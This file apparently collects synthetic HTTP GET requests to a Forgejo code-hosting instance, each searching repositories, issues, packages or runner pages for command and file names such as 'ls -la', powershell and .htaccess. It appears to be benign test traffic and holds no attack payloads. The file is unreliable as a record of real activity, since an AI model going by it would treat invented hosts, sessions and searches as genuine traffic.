{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
|
|
||||||
# The searches of the pages gitea and Forgejo share, with the fields their
|
|
||||||
# forms send, sent to Forgejo 17.0.1 with an ordinary Chrome's headers. Each
|
|
||||||
# searches for words that name commands and files, such as python3 and
|
|
||||||
# .htaccess, and for plain words. A tag or package name can hold a slash, so the
|
|
||||||
# tags and packages pages also search for /bin/sh. The packages pages also
|
|
||||||
# search for a Maven name. The issues and pull requests of one team, and those
|
|
||||||
# of one milestone, are also searched for SQL. Each search of a package's
|
|
||||||
# versions is sent for a generic package and for the npm package
|
|
||||||
# @alice/tools-cli, whose name holds a slash.
|
|
||||||
{"method": "GET", "target": "/explore/topics/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/pulls?type=created_by&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/issues/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=python3&page=1&limit=15&mode=&archived=false", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/search_candidates?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/notifications/watching?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/notifications/watching", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/milestones/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/teams/-/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/org/acme/teams", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/code?path=&q=python3&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/code", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/projects?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/generic/tools-cli/versions?q=python3&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/generic/tools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=python3&sort=created_desc", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/-/packages/npm/@alice%2Ftools-cli/versions", "Accept-Encoding: gzip, deflate", "Cookie: session=e75e81138febd1bb; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/tags?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/tags", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/projects?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/projects", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/packages?q=python3&type=", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/packages", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/posters?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/pulls/posters?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/suggestions?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/admin/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/user/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/org/acme/settings/actions/runners?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/settings/actions/runners", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
|
||||||
